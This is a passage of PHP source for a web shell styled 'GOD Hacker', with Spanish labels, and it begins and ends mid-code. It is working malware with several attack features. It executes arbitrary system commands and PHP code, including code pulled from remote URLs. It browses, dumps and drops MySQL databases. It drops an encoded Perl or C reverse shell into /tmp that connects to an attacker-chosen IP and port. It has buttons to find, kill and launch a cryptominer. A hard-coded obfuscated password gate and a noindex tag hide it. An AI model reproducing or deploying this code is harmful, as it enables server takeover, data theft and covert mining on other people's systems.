"\n", "\t"), ' ', $query))); $sql_line = $A[0]("#/\*[^(\*/)]*\*/#i", " ", $sql_line); preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches); $tablename = $matches[1][0]; } $result = q($query,$lnk); p($multipage); p('<table border="0" cellpadding="3" cellspacing="0" class="fm">'); p('<tr class="head">'); if($allowedit) p('<td><b>Acción</b></td>'); if(MI){ while($finfo = @mysqli_fetch_field($result)){ p('<td class="nw"><b>'.$finfo->name.'</b><br />'.$QT[$finfo->type].'('.$finfo->length.')</td>'); } } else { $fieldnum = @$qf['n']($result); for($i=0;$i<$fieldnum;$i++){ $name = @mysql_field_name($result, $i); $type = @mysql_field_type($result, $i); $len = @mysql_field_len($result, $i); p("<td class=\"nw\"><b>$name</b><br />$type($len)</td>"); } } p('</tr>'); while($mn = @$qf['f']($result)){ $tbg = bg(); p('<tr class="'.$tbg.'">'); $where = $tmp = $b1 = ''; foreach($mn as $key=>$en){ if($en){ $where .= $tmp.$key."='".addslashes($en)."'"; $tmp = ' AND '; } $en = (strlen($en)>800)?substr($en,0,800).' [...]':$en; $b1 .= '<td class="nw">'.htmdb($en).'</td>'; } $where = base64_encode($where); if($allowedit) p('<td class="nw"><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>'); p($b1); p('</tr>'); unset($b1); } fr($result); p('</table>'); p($multipage); break; case 2: $ar = $qf['l']($lnk); p('<b>Affected rows: '.$ar.'</b>'); break; } } } } } else { $query = q("SHOW TABLE STATUS",$lnk); $table_num = $table_rows = $data_size = 0; $tabledb = array(); while($table = $qf['f']($query)){ $data_size = $data_size + $table['Data_length']; $table_rows = $table_rows + $table['Rows']; $table['Data_length'] = sizecount($table['Data_length']); $table_num++; $tabledb[] = $table; } $data_size = sizecount($data_size); unset($table); p('<table border="0" cellpadding="0" cellspacing="0" class="fm">'); p('<form action="'.SELF.'" method="post">'); noseve('haz','sqladmin'); p($dbform); p('<tr class="head">'); p('<td width="2%" align="center"></td>'); p('<td>Name</td>'); p('<td>Rows</td>'); p('<td>Data_length</td>'); p('<td>Create_time</td>'); p('<td>Update_time</td>'); if($highver){ p('<td>Engine</td>'); p('<td>Collation</td>'); } p('</tr>'); foreach ($tabledb as $key => $table){ $tbg = bg();$tname = $table['Name']; p('<tr class="'.$tbg.'">'); p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$tname.'" /></td>'); p('<td>[<a href="javascript:settable(\''.$tname.'\', \'structure\');" title="Ver Estructura">TE</a> | <a href="javascript:settable(\''.$tname.'\', \'insert\');" title="Insertar Datos">IN</a> | <a href="javascript:settable(\''.$tname.'\', \'del\');" title="Vaciar Tabla">VT</a> | <a href="javascript:settable(\''.$tname.'\', \'drop\');" title="Eliminar Tabla">DT</a> | <a href="javascript:settable(\''.$tname.'\', \'optimize\');" title="Optimizar">OT</a>] <a href="javascript:settable(\''.$tname.'\');">'.$tname.'</a></td>'); p('<td>'.$table['Rows'].'</td>'); p('<td>'.$table['Data_length'].'</td>'); p('<td>'.$table['Create_time'].'</td>'); p('<td>'.$table['Update_time'].'</td>'); if($highver){ p('<td>'.$table['Engine'].'</td>'); p('<td>'.$table['Collation'].'</td>'); } p('</tr>'); } p('<tr class="head">'); p('<td><input name="chk" value="on" type="checkbox" onclick="CHK(this.form)" /></td>'); p('<td>Total: '.$table_num.' tablas</td>'); p('<td>'.$table_rows.'</td>'); p('<td>'.$data_size.'</td>'); p('<td colspan="'.($highver ? 4 : 2).'"> </td>'); p('</tr>'); p('<tr class="head"><td colspan="'.($highver ? 8 : 6).'"><input name="svf" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="'.F_ROOT.SVH.'_sqldump.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>'); noseve('doing','backupmysql'); p("</form>\n</table>"); fr($query); } } } p('</table>'); if($lnk)$qf['c']($lnk); } elseif($haz=='bconx'){ !$yourip&&$yourip = $_SERVER['REMOTE_ADDR']; !$yourport&&$yourport = '12345'; $rvp='eNp9kVFLwzAUhd8H+w9ZLDaFSuerI8LQKkPcpK2+qHRdGlywTUqSgoX9eJO0IhXq27nn5nz3 JjlbRK2S0YHxqKGyms9aRUEqyCfVq/nMI3WJAaw6/gVtqTqlaY2BT8lRALhveVFTcFHs4WpwWGm0w6 mjbyNLbCFW6UJ+UI29dXL/8rp8t1Yj5I9x6QxWlKXEjFOdF1pwNIQCcDqBklEEYymFvALe4o3DwCFc QpmNrciZyVhqCHrWf0kptMCG7sShs3dBviaNb9vKvQFKdzcPcRaCp7t8s7XCGnmaJfH60cxw0ekZRH BOyS+l33b6vGgoR2l2u9mGAF6f97FRZ/ecTbXiJPnb6v8LDf/mNqqEov2IUWm4o9rAgtU3hSygzQ'; $rvc='eNpdUdtqAjEQfRf8h2GFktRYXV/VgogF6UWp9kmWJSbZbuhuIkkstaX/3iTb2taHITNz5nZO OlKx6sAFjK3jUl+V1+1W5zd3tH2r2YtwZ4ASTnrrSxUBqRzUVCoUHGqeGQFWUgOX3n/dZrjd+mi3II AFH3nPOnNgDsJoyrnJpQIrVUBim6ntdphmk8TU0CsgGYFHOBW1ViglAxxH+NXe8oLWsjrCBKY3+eJh vvmL7bVxHimdVhZRpyWK9wwz/G9EOOHKxsdXB17Rb4rTDMf1u3dh9E+KeAKVUKeKbtr9m4kLQlPB/c BGQPR9H4H1cnabrzeP8+k9gcVq9bjcLPPNbIUh9sgCEGJaKcEcKjgBdKYWXGK48HcTT+Bd6OIcxxiP BxiC4gB7YYw2KNn2MvgZipNIH0C8SYcaOT+bX2HUIa8+gchjkDU6Ha0Tdch7VvErDvthPK3pPYXp/3 AYQ/EmWIWS/k6qvi0TktgSejIh8PB0dxcrWKWt8B1Rs88vR2PGPQ=='; if($start&&$yourip&&$yourport&&$use){ $res=''; if($use=='perl'&&SV('/tmp/god_bc', gzuncompress($A[6]($rvp)))){ $res = god("perl /tmp/god_bc $yourip $yourport &"); } elseif(SV('/tmp/god_bc.c', gzuncompress($A[6]($rvc)))){ $res = god('gcc -o /tmp/god_bc /tmp/god_bc.c'); @unlink('/tmp/god_bc.c'); $res .= god("/tmp/god_bc $yourip $yourport &"); } $res ? m("El script intentará conectarse a: $yourip:$yourport ...\n$res") : m('Error: No fue posible crear el proceso.','e'); } formhead('bc','Back Connect'); noseve('haz','bconx');noseve('start',1); p('<p>Tu IP:'); mkinput(array('name'=>'yourip','size'=>20,'value'=>$yourip)); p('Puerto:'); mkinput(array('name'=>'yourport','size'=>15,'value'=>$yourport)); p('Usar:'); mkselect(array('name'=>'use','option'=>array('perl'=>'Perl','c'=>'C'),'selected'=>$use)); p('<input class="bt" type="submit" value="Iniciar" />'."</p>\n</form>"); } elseif($haz=='editfile'){ $content=''; if($opfile&&@file_exists($opfile)) $content = htm(GF($opfile)); formhead('editor','Crear / Editar Archivos'); noseve('haz','file'); noseve('dir',$cwd); mkinput(array('title'=>'Estás editando/creando el archivo:','name'=>'edit','value'=>$opfile,'newline'=>1)); p('<p>Contenido<br /><textarea name="fcontent" class="area" cols="110" rows="25">'.$content.'</textarea></p>'); formfoot(); } elseif($haz=='evl'){ formhead('evl','Eval PHP Code'); p('<label for="code">Escribe el codigo PHP. Marca la casilla para hacer INCLUDE de archivos/URL (1 archivo por línea)</label> <input type="checkbox" name="ri" value="1"'.($ri?' checked="checked"':'').' /> <input class="bt" type="submit" value="Ejecutar" />'); noseve('haz','evl'); p('<p><textarea name="code" class="area" cols="145" rows="8">'.htm($code)."</textarea></p>\n</form>"); if($code){ if($ri) RI($code); else { $code = $A[0]('#^<\?(php)?|\?>$#i','',$code); p('<div class="e"><pre>');ob_start();eval($code);$c=@ob_get_contents();ob_end_clean();p(htm($c).'</pre></div>'); unset($code,$c); } } } elseif($haz=='sh'){ echo $cwd; if($cwd != F_ROOT) @chdir($cwd); if($ex&&preg_match('#^cd[ ]+([^;& ]+)$#i',$ex,$nwd)){@chdir($nwd[1]); $cwd=FixDS(@getcwd());$ex='';} formhead('sh','Ejecutar Comando: '.$cwd); noseve('haz','sh');noseve('dir',$cwd); echo ' <SCRIPT> function listprocess() { document.getElementById("ex").value = "tasklist /svc"; } function findminer() { document.getElementById("ex").value = "tasklist /svc |find /i \"cshost.exe\" & tasklist /svc |find /i \"dlhost.exe\""; } function closeminer() { document.getElementById("ex").value = "taskkill /im dlhost.exe /f & taskkill /im cshost.exe /f"; } function runminer() { document.getElementById("ex").value = "dlhost.exe"; } function getcpu() { document.getElementById("ex").value = "wmic cpu get name"; } function getarch() { document.getElementById("ex").value = "wmic os get osarchitecture"; } function getsysteminfo() { document.getElementById("ex").value = "systeminfo"; } </SCRIPT> '; p('<a href="javascript:listprocess()">Listar Procesos</a> | <a href="javascript:findminer()">Buscar Miner</a> | <a href="javascript:closeminer()">Cerrar Miner</a> | <a href="javascript:runminer()">Ejecutar Miner</a> | <a href="javascript:getcpu()">Get CPU</a> | <a href="javascript:getarch()">Get Arquitectura</a> | <a href="javascript:getsysteminfo()">Get SystemInfo</a> <br>'); mkinput(array('name'=>'ex','value'=>htm($ex))); p('<input class="bt" type="submit" value="Ejecutar" />'."\n</form><br />"); if($ex){ m("<pre>".htm(god($ex))."</pre>",'e'); } } elseif($haz=='env'){ $ups=@ini_get('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'; $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'); $info = array( 1 => array('Server Time',date('Y/m/d h:i:s')), 2 => array('Server Domain',$_SERVER['SERVER_NAME']), 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])), 4 => array('Server OS',PHP_OS), 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']), 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']), 7 => array('Server Web Port',$_SERVER['SERVER_PORT']), 8 => array('PHP run mode',strtoupper(php_sapi_name())), 9 => array('The file path',$_SERVER['SCRIPT_FILENAME']), 10 => array('PHP Version',PHP_VERSION), 11 => array('PHPINFO',(isF('phpinfo') ? '<a href="javascript:gohaz(\'phpinfo\')">Ver phpinfo()</a>' : 'No')), 12 => array('Safe Mode',getcfg('safe_mode')), 13 => array('Administrator',$adminmail), 14 => array('allow_url_fopen',getcfg('allow_url_fopen')), 15 => array('enable_dl',getcfg('enable_dl')), 16 => array('display_errors',getcfg('display_errors')), 17 => array('register_globals',getcfg('register_globals')), 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')), 19 => array('Open Basedir',getcfg('open_basedir')), 20 => array('memory_limit',getcfg('memory_limit')), 21 => array('post_max_size',getcfg('post_max_size')), 22 => array('upload_max_filesize',$ups), 23 => array('max_execution_time',getcfg('max_execution_time').' seg.'), 24 => array('disable_functions',@ini_get('disable_functions')), ); if($phpvarname){ m($phpvarname .' : '.getcfg($phpvarname)); } formhead('server','Server environment'); noseve('haz','env'); mkinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1)); formfoot(); $hp = array(0=> 'Server', 1=> 'PHP'); for($a=0;$a<2;$a++){ p('<h2>'.$hp[$a].' »</h2>'); p('<ul class="info">'); if($a==0){ for($i=1;$i<=9;$i++){ p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>'); } } elseif($a==1){ for($i=10;$i<=24;$i++){ p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>'); } } p('</ul>'); } } elseif($haz=='se'){ $q = isset($q) ? $q : ''; formhead('se','Search Engine'); noseve('haz','se');noseve('start'); mkinput(array('name'=>'q','value'=>htm($q))); p('<input type="submit" class="bt" value="Buscar" />'."\n</form><br />"); if($q){ $start = isset($start) ? $start : 0; function cor($q, $i, $f){ if(!stristr($q, $i)) return false; $p = strpos($q, $i); $q = substr($q, $p); $q2 = substr($q, strlen($i)); $sp= strpos($q2, $f); $q = substr($q2, 0, $sp); return str_replace('</li></li>','</li>',substr(trim(str_replace('<li',"</li>\n<li",$q)),5)); } function pag($n){ global $start;if(!$n) return; $n=$n+1; p('<div class="m">'.($start?'<a href="javascript:pag('.($start-10).')">« Anterior</a> ':'')); for($i=1;$i<=$n;$i++){ $x=($i-1)*10;p(' <a href="javascript:pag('.$x.')">'.$i.'</a>'); } if($start<190) p(' <a href="javascript:pag('.($start+10).')">Siguiente »</a>');p('</div>'); } $r = GF("http://www.google.com/search?hl=es&q=".urlencode($q)."&start=$start"); if($r){ $r=strip_tags($A[0]('#<script.*</script>|<style.*</style>#siU','',$r),'<a><ol><li><h3><em><br>'); preg_match('#([0-9\.,]+) resultados#i',$r, $tr); if($r=cor($r,'<ol>','</ol>')){ m("$tr[1] Resultados de ".htm($q).($start?' - Página '.substr($start,0,-1):''));@ob_flush();@flush(); $r=$A[0]('# (class|id|style|on[a-z]+)=[^<>]+|( \[ | - )?<a href=[^>]+>(En cach�|Traducir esta p�gina|similares|vista r�pida|Versi�n en HTML|este sitio puede da�ar tu equipo\.|[a-z]+ m�s resultados de [a-z0-9\s�]+)</a>( - | \])?| -| href="?/(url|search)\?q=[^>]*#i','',$A[0](array('#<li[^>]*><h3[^>]*><a href="?https?://[a-z]+\.google\.com.*</li>#siU','#<[^<>/]+></[a-z2-4]+>#i'),'',$r)); if($CHAR=='iso-8859-1') $r=utf8_decode($r); $tr = str_replace(array(',','.'),'',$tr[1]); p("<ul id='res'>$r</ul>\n".'<script type="text/javascript">function pag(n){$("se").start.value=n;$("se").submit();}for(var i=0;$("res").getElementsByTagName("a")[i];i++){$("res").getElementsByTagName("a")[i].target="_blank";}</script>'); ($tr>=191) ? pag(19) : pag(intval($tr/10)); } else m('Sin resultados.','e'); } else m('Error: 403 Prohibido o sin resultados','e'); } } else { m('Undefined Action'); } @ob_end_flush(); ?> </td></tr></table> <div class="f">Copyright ©2009-<?php echo date('Y');?> <i>GOD Hacker</i> All Rights Reserved.</div> </body> </html> <?php function m($m,$c='m'){echo "<div class=\"$c\">$m</div>\n";} function multi($num, $perpage, $curpage, $tablename){ $multipage = ''; if($num > $perpage){ $page = 10; $offset = 5; $pages = @ceil($num / $perpage); if($page > $pages){ $from = 1; $to = $pages; } else { $from = $curpage - $offset; $to = $curpage + $page - $offset - 1; if($from < 1){ $to = $curpage + 1 - $from; $from = 1; if(($to - $from) < $page&&($to - $from) < $pages){ $to = $page; } } elseif($to > $pages){ $from = $curpage - $pages + $to; $to = $pages; if(($to - $from) < $page&&($to - $from) < $pages){ $from = $pages - $page + 1; } } } $multipage = ($curpage - $offset > 1&&$pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : ''); for($i = $from; $i <= $to; $i++){ $multipage .= $i==$curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> '; } $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : ''); $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : ''; } return $multipage; } function pasa(){ global $haz,$ctr; $gp = "\x78\x69\x43\x47\x32\x52\x63\x67\x58\x70\x37\x30\x49\x68\x7a\x38\x53\x68\x6f\x31\x6a\x51"; if($haz=='salir'){ setcookie('godid', '', -1,'/'); p('<h3>GoodBye: <a href="'.SELF.'">Login Again</a></h3>'); die; } if($haz=='pasa'){ echo pe(pe($gp))."<br>"; if(pe($gp)==pe(pe($ctr))){ setcookie('godid', pe(pe($ctr)), time() + 86400, '/'); p('<meta http-equiv="refresh" content="1;URL='.SELF.'">'); p('<a style="font:12px Verdana" href="'.SELF.'">Welcome Back GOD</a>'); die; } } if(!isset($_COOKIE['godid'])||$_COOKIE['godid'] != pe($gp)){ ?> <html><head> <meta name="robots" content="noindex,nofollow,noarchive"> <style type="text/css"> *{font:11px Verdana;}input{background:#FFF;line-height:18px;border:1px solid #666;}</style> </head> <body> <form method="post" action="<?php echo SELF;?>"> Password: <input name="ctr" type="password" size="20" value=""> <input type="submit" value="Login"> <input type="hidden" name="haz" value="pasa"> </form> </body></html> <?php die; } } function ob($f,$c){ob_start();$f($c);$re=ob_get_contents();@ob_end_clean();return $re;} function god($c){ $re=''; if($c){ $c='('.$c.') 2>&1'; if(isF('proc_open')&&@is_resource($f=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes))){ fwrite($pipes[0],'');fclose($pipes[0]); $re=gres($pipes[1]).gres($pipes[2]); fclose($pipes[1]);fclose($pipes[2]); @proc_close($f); } elseif(IS_COM){ $wsh = new COM('WScript.shell');$cmd = getenv('ComSpec'); $exe = $wsh->exec("$cmd /C $c");$exe->StdIn->Close(); @$re=$exe->StdOut->ReadAll().$exe->StdErr->ReadAll(); unset($wsh,$exe); } elseif(isF('popen')&&@is_resource($f=popen($c))){$re=gres($f);@pclose($f);} elseif(isF('exec')){exec($c,$re);$re=join("\n",$re);} elseif(isF('shell_exec')){$re=shell_exec($c);} elseif(isF('system')){$re=ob('system',$c);} elseif(isF('passthru')){$re=ob('passthru',$c);} } return $re; } function isF($f){return (function_exists($f)&&is_callable($f)&&!preg_match('#\b'.$f.'\b#i',@ini_get('disable_functions')));} function gres($r){ $re=''; if(isF('stream_get_contents')) $re=stream_get_contents($r); else{while(!feof($r)){$re.=fread($r,4096);}} return $re; } function SV($f,$c){ $r=0;$t=file_exists($f)?filemtime($f):0; if(isF('file_put_contents')){ $r=(false===@file_put_contents($f,$c))?0:1; } elseif($s=@fopen($f,'w')){ fwrite($s,$c); fclose($s); $r=1; } if($t&&$r) @touch($f,$t); return $r; } function GF($r){ if(preg_match('#^(http|file|ftp)s?\://#i',$r)&&isF('curl_init')){ $s=curl_init($r); curl_setopt($s, CURLOPT_TIMEOUT, 40); curl_setopt($s, CURLOPT_FAILONERROR, 1); curl_setopt($s, CURLOPT_REFERER, $r); curl_setopt($s, CURLOPT_USERAGENT, "Opera/9.25 (Linux i686; U; en-US)"); curl_setopt($s, CURLOPT_RETURNTRANSFER, 1); $r=curl_exec($s); curl_close($s); return $r; } else if(isF('file_get_contents')){ return @file_get_contents($r); } else { if($s=fopen($r,'rb')){ $r=gres($s); fclose($s); return $r; } else return false; } } function getChmod($file){ return substr(base_convert(@fileperms($file),10,8),-4); } function getPerms($filepath){ $mode = @fileperms($filepath); if(($mode & 0xC000) === 0xC000){$type = 's';} elseif(($mode & 0x4000) === 0x4000){$type = 'd';} elseif(($mode & 0xA000) === 0xA000){$type = 'l';} elseif(($mode & 0x8000) === 0x8000){$type = '-';} elseif(($mode & 0x6000) === 0x6000){$type = 'b';} elseif(($mode & 0x2000) === 0x2000){$type = 'c';} elseif(($mode & 0x1000) === 0x1000){$type = 'p';} else {$type = '?';} $owner['read'] = ($mode & 00400) ? 'r' : '-'; $owner['write'] = ($mode & 00200) ? 'w' : '-'; $owner['execute'] = ($mode & 00100) ? 'x' : '-'; $group['read'] = ($mode & 00040) ? 'r' : '-'; $group['write'] = ($mode & 00020) ? 'w' : '-'; $group['execute'] = ($mode & 00010) ? 'x' : '-'; $world['read'] = ($mode & 00004) ? 'r' : '-'; $world['write'] = ($mode & 00002) ? 'w' : '-'; $world['execute'] = ($mode & 00001) ? 'x' : '-'; if($mode & 0x800){$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';} if($mode & 0x400){$group['execute'] = ($group['execute']=='x') ? 's' : 'S';} if($mode & 0x200){$world['execute'] = ($world['execute']=='x') ? 't' : 'T';} return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read']. $world['write'].$world['execute']; } function getUser($f){ $r=' / <a href="javascript:void(0)" title="User: '; if(IS_WIN) return $r .= (($u=@get_current_user())?$u.'">'.$u:'WIN">WIN').'</a>'; $ow = @fileowner($f); if(isF('posix_getpwuid')){ $o = @posix_getpwuid($ow); $r .= ($o&&is_array($o))?$o['name'].' | Uid:'.$o['uid'].' | gid:'.$o['gid'].' | Dir:'.$o['dir'].' | Shell:'.$o['shell'].'">'.$o['name']:$ow.'">'.$ow; } else $r .= $ow.'">'.$ow; return "$r</a>"; } function deltree($deldir){ $mydir=@dir($deldir); while($file=$mydir->read()){ if(@is_dir($deldir.'/'.$file)&&$file!='.'&&$file!='..'){ @chmod($deldir.'/'.$file,0777); deltree($deldir.'/'.$file); } if(is_file($deldir.'/'.$file)){ @chmod($deldir.'/'.$file,0777); @unlink($deldir.'/'.$file); } } $mydir->close(); @chmod($deldir,0777); return @rmdir($deldir) ? 1 : 0; } function bg(){global $bgc;return ($bgc++%2==0) ? 'alt1' : 'alt2';} function FixDS($d){ $d = str_replace('//', '/', str_replace('\\','/', rtrim($d,'\\/'))).'/'; return $d; } function getcfg($v){ $l = @ini_get($v);$i = @get_cfg_var($v); if($v=='safe_mode'||$v=='register_globals') return '<b class="'.((!$l||strtolower($l)=='off') ? 'w">OFF' : 'r">ON').'</b>'; $i = $i==''?'No establecido':($i=='0'?'No':($i=='1'?'Si':$i)); $l = $l==''?'No establecido':($l=='0'?'No':($l=='1'?'Si':$l)); return '<b>Local</b>: '.$l.' - <b>INI</b>: '.$i; } function GetList($d){ global $dirdata,$j,$cwd; !$j&&$j=1; if($dh = opendir($d)){ while($file = readdir($dh)){ $f=str_replace('//','/',$d.'/'.$file); if($file!='.'&&$file!='..'&&@is_dir($f)){ if(@is_writable($f)){ $dirdata[$j]['filename']=str_replace($cwd,'',$f); $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); $dirdata[$j]['dirchmod']=getChmod($f); $dirdata[$j]['dirperm']=getPerms($f); $dirdata[$j]['flink']=htm($f); $j++; } GetList($f); } } closedir($dh); clearstatcache(); return $dirdata; } else { return array(); } } function db($h, $u, $p, $db='', $char='', $port='3306'){ global $qf; $e = 'Error de conexión al servidor MySQL: '; @$ln = MI ? $qf['a']($h, $u, $p, $db, $port) : $qf['a']($h.':'.$port, $u, $p); if(!$ln){ m($e.(MI?mysqli_connect_error():$qf['e']($ln)), 'e'); die; } if($db&&!MI) if(!@mysql_select_db($db, $ln)){m('Error seleccionando la base de datos: '.$qf['e']($ln),'e');die;} if($qf['i']($ln) > '4.1'){ if($char =='latin1'||$char=='utf8') q("SET character_set_connection=$charset, character_set_results=$charset,character_set_client=binary;",$ln); } return $ln; } function q($q,$l){return MI?$l->query($q):mysql_query($q,$l);} function qy($q,$l){ $res = ''; if(!$res = q($q,$l)) return 0; else if(is_resource($res)||is_object($res)) return 1; else return 2; } function fr($r){MI?$r->close():mysql_free_result($r);} function htmdb($c){ $c = str_replace(array("\r","\n",' ',"\t"), array('',"<br />",' ',' '), htm($c)); return $c; } function sizecount($size){ if($size > 1073741824){ $size = round($size / 1073741824 * 100) / 100 . ' G'; } elseif($size > 1048576){ $size = round($size / 1048576 * 100) / 100 . ' M'; } elseif($size > 1024){ $size = round($size / 1024 * 100) / 100 . ' K'; } else { $size = $size . ' B'; } return $size; } class PHPZip{ var $out=''; function PHPZip($d){ if(isF('gzcompress')){ $curdir = getcwd(); if(is_array($d)) $filelist = $d; else{ $filelist=$this->GetFileList($d); foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($d)+1); } if(!empty($d)&&!is_array($d)&&file_exists($d)) chdir($d); else chdir($curdir); if(count($filelist)>0){ foreach($filelist as $filename){ if(@is_file($filename)){ $content = GF($filename); if(is_array($d)) $filename=basename($filename); $this->addFile($content, $filename); } } $this->out = $this->file(); chdir($curdir); } return 1; } else return 0; } function GetFileList($d){ static $a; if(is_dir($d)){ if($dh = opendir($d)){ while($file = readdir($dh)){ if($file!='.'&&$file!='..'){ $f=$d.'/'. $file; if(@is_dir($f)) $this->GetFileList($f); $a[]=$f; } } closedir($dh); } } return $a; } var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; var $old_offset = 0; function unix2DosTime($unixtime = 0){ $timearray = ($unixtime==0) ? getdate() : getdate($unixtime); if($timearray['year'] < 1980){ $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); } function addFile($data, $name, $time = 0){ $name = str_replace('\\', '/', $name); $dtime = dechex($this->unix2DosTime($time)); $hexdtime = '\x'.$dtime[6].$dtime[7].'\x'.$dtime[4].$dtime[5].'\x'.$dtime[2].$dtime[3].'\x'.$dtime[0].$dtime[1]; eval('$hexdtime = "' . $hexdtime . '";'); $fr= "\x50\x4b\x03\x04"; $fr.= "\x14\x00"; $fr.= "\x00\x00"; $fr.= "\x08\x00"; $fr.= $hexdtime; $unc_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $c_len = strlen($zdata); $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $fr .= pack('v', strlen($name)); $fr .= pack('v', 0); $fr .= $name; $fr .= $zdata; $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $this -> datasec[] = $fr; $new_offset = strlen(implode('', $this->datasec)); $cdrec = "\x50\x4b\x01\x02"; $cdrec .= "\x00\x00"; $cdrec .= "\x14\x00"; $cdrec .= "\x00\x00"; $cdrec .= "\x08\x00"; $cdrec .= $hexdtime; $cdrec .= pack('V', $crc); $cdrec .= pack('V', $c_len); $cdrec .= pack('V', $unc_len); $cdrec .= pack('v', strlen($name) ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('V', 32 ); $cdrec .= pack('V', $this->old_offset ); $this -> old_offset = $new_offset; $cdrec .= $name; $this -> ctrl_dir[] = $cdrec; } function file(){ $data = implode('',$this->datasec); $ctrldir = implode('',$this->ctrl_dir); return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)).pack('V', strlen($ctrldir)) .pack('V', strlen($data))."\x00\x00"; } } function sqldump($table,$fp=0){ global $lnk,$qf; $tdump = "DROP TABLE IF EXISTS $table;\n"; $tdump .= "CREATE TABLE $table (\n"; $firstfield=1; $fields = q("SHOW FIELDS FROM $table",$lnk); while($field = $qf['f']($fields)){ if(!$firstfield){ $tdump .= ",\n"; } else { $firstfield=0; } $tdump .= "\t`$field[Field]` $field[Type]"; if(!empty($field["Default"])){ $tdump .= " DEFAULT '$field[Default]'"; } if($field['Null'] != "YES"){ $tdump .= " NOT NULL"; } if($field['Extra'] != ""){ $tdump .= " $field[Extra]"; } } fr($fields); $keys = q("SHOW KEYS FROM $table",$lnk); while($key = $qf['f']($keys)){ $kname=$key['Key_name']; if($kname != "PRIMARY"&&$key['Non_unique']==0){ $kname="UNIQUE|$kname"; } if(!is_array($index[$kname])){ $index[$kname] = array(); } $index[$kname][] = $key['Column_name']; } fr($keys); while(list($kname, $columns) = @each($index)){ $tdump .= ",\n"; $colnames=implode($columns,","); if($kname=="PRIMARY"){ $tdump .= "\tPRIMARY KEY (`$colnames`)"; } else { if(substr($kname,0,6)=="UNIQUE"){ $kname=substr($kname,7); } $tdump .= "\tKEY $kname (`$colnames`)"; } } $tdump .= "\n);\n\n"; if($fp) fwrite($fp,$tdump); else { echo $tdump;@ob_flush();@flush(); } $rows = q("SELECT * FROM $table",$lnk); $numfields = $qf['n']($rows); while($row = $qf['r']($rows)){ $tdump = "INSERT INTO $table VALUES("; $fieldcounter=-1; $firstfield=1; while(++$fieldcounter<$numfields){ if(!$firstfield){ $tdump.=", "; } else { $firstfield=0; } if(!isset($row[$fieldcounter])){ $tdump .= "NULL"; } else { $tdump .= "'".addslashes($row[$fieldcounter])."'"; } } $tdump .= ");\n"; if($fp) fwrite($fp,$tdump); else { echo $tdump;@ob_flush();@flush(); } } fr($rows); if($fp) fwrite($fp,"\n"); else echo "\n"; } function SR(&$e){ $e = is_array($e) ? array_map('SR',$e) : trim(@get_magic_quotes_gpc()?stripslashes($e):$e); return $e; } function pe($p){return str_replace('=','',base64_encode(pack("H*", md5(pack("H*", md5($p))))));} function RI($e){ $e = explode("\n",$e); foreach($e as $e){ if($r=GF(trim($e))) eval('?>'.$r.'<?php '); else {m("Error: Archivo/URL $e no encontrado.",'e');} } } function url(){ $u = $_SERVER['REQUEST_URI']; $q = $_SERVER['QUERY_STRING']; $s = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; if(!empty($q)){$s.='?'.$q;} return stristr($u,basename($s)) ? $s : $u; } function p($s){echo $s."\n";} function htm($s){return htmlspecialchars($s,ENT_QUOTES);} function tbhead($s=''){p('<table width="100%" border="0" cellpadding="4" cellspacing="0"'.$s.'>');} function noseve($n, $v=''){p('<input type="hidden" name="'.$n.'" value="'.$v.'" />');} function mkinput($arg = array()){ $size = 100;$type = 'text';$class = 'input';$value = '';$name='';$i='';$f='';$title=''; foreach($arg as $k => $v) $$k = $v; if($title) $title.='<br />'; if($name) $name=' name="'.$name.'" id="'.$name.'"'; if(isset($newline)){$i = 